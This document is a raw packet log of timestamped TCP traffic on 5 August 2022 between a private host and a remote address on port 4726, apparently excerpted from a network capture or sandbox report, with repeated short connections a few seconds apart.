Aug 5, 2022 11:36:49.283245087 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.361052036 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.403234959 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.485771894 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.528204918 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.610733032 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.653462887 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.715789080 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.736426115 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.736778975 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:53.744448900 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:53.796408892 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:53.796637058 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:53.797027111 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:53.857091904 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:53.857424021 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:53.909388065 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:53.917972088 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.001872063 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.002203941 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.079688072 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.105289936 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.189344883 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.190807104 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.191390038 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.242635012 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.242825031 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.329694033 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.329898119 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.381762981 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.381953955 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.433928013 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.434075117 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.517323017 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.574052095 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.657977104 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.698966980 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.782933950 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.783200026 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.861110926 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.902179956 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:54.986310959 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:54.986551046 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.064383030 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.120970964 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.204986095 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.205369949 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.298749924 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.308284044 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.392216921 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.401839018 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.486430883 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.558305025 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.620735884 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:55.642463923 CEST	4726	49850	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:55.642851114 CEST	49850	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.647413969 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.698765039 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:59.698985100 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.699323893 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.758904934 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:59.759216070 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.821726084 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:59.822906017 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.907614946 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:59.907804966 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:59.985729933 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.010174036 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.095076084 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.112023115 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.112556934 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.163772106 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.164094925 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.251282930 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.251571894 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.302949905 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.353749037 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.369621038 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.404771090 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.447459936 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.454644918 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.454822063 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.548207045 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.556910992 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.642182112 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.650856018 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.735923052 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.807043076 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.892286062 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:00.892461061 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:00.985887051 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.025861025 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:01.110872984 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.111133099 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:01.204720974 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.213202953 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:01.298522949 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.353811979 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:01.438846111 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.439088106 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:01.532942057 CEST	4726	49851	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:01.572787046 CEST	49851	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.599270105 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.646945953 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:05.647133112 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.647447109 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.702939987 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:05.703164101 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.782985926 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:05.783150911 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.830810070 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:05.831022978 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.907969952 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:05.908237934 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:05.986063004 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.055824995 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.096821070 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.103137970 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.103328943 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.150872946 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.151067972 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.236175060 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.236412048 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.283879995 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.284054995 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.331711054 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.337027073 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.408118010 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.462081909 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.533134937 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.602886915 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.689460039 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.689723015 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.767348051 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.821331978 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.908107042 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:06.908428907 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:06.986399889 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:07.008780003 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:07.079833031 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:07.149514914 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:07.220639944 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:07.220876932 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:07.298806906 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:07.368175030 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:07.430892944 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:07.439347982 CEST	4726	49852	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:07.439578056 CEST	49852	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.456940889 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.504549980 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.504676104 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.505019903 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.559262991 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.559436083 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.642317057 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.642682076 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.690793991 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.710829973 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.783277035 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.783499002 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.861170053 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.861332893 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.939204931 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.939431906 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:11.972143888 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.986938953 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:11.987083912 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.064243078 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.064420938 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.112384081 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.112545967 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.159881115 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.160075903 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.236242056 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.257616043 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.330081940 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.351366997 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.439327955 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.507817030 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.595699072 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.596080065 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.673867941 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.726315022 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.814306021 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.814503908 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.892592907 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:12.913800001 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:12.971390963 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:13.023041010 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:13.054661036 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:13.142586946 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:13.142946959 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:13.220774889 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:13.273171902 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:13.335505962 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:13.361020088 CEST	4726	49853	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:13.361219883 CEST	49853	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.361848116 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.409631968 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.409789085 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.410149097 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.466192007 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.466582060 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.514447927 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.514607906 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.595354080 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.595525026 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.673211098 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.673414946 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.751422882 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.751609087 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.783895016 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.798854113 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.799057007 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.846442938 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.846878052 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.894162893 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.894364119 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:17.941817999 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:17.943865061 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.017214060 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.037620068 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.110930920 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.162583113 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.235658884 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.304532051 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.376518011 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.376679897 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.454658985 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.522053957 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.595307112 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.595674038 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.673420906 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.709394932 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.782705069 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.850083113 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:18.923388004 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:18.923621893 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:19.001537085 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:19.068989992 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:19.142257929 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:19.142625093 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:19.220268965 CEST	4726	49854	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:19.256115913 CEST	49854	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.284254074 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.335637093 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.335838079 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.336133957 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.394869089 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.395289898 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.446857929 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.447226048 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.532799959 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.533040047 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.610739946 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.610955954 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.689054012 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.689279079 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.721939087 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.740803003 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.741007090 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.829859018 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.830089092 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.881989002 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.882169008 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:23.933682919 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:23.958164930 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.048624039 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.051949024 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.142128944 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.208219051 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.298652887 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.298888922 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.391928911 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.426902056 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.517018080 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.517230034 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.610780001 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.614278078 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.704595089 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.755074978 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.845376968 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.845608950 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:24.939100981 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:24.973680019 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:25.064405918 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:25.064645052 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:25.157718897 CEST	4726	49855	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:25.161084890 CEST	49855	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.187774897 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.238867998 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.239089966 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.239382029 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.297502041 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.297878027 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.349356890 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.363289118 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.454514027 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.454794884 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.532747984 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.550764084 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.642235994 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.642426014 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.659307957 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.693595886 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.693835974 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.782896996 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.783250093 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.834939957 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.878601074 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.878700018 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:29.930012941 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.970218897 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:29.972377062 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.003750086 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.095253944 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.128931046 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.220369101 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.220720053 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.314157009 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.314359903 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.407897949 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.408090115 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.501643896 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.550539017 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.642054081 CEST	4726	49856	188.127.230.176	192.168.11.20
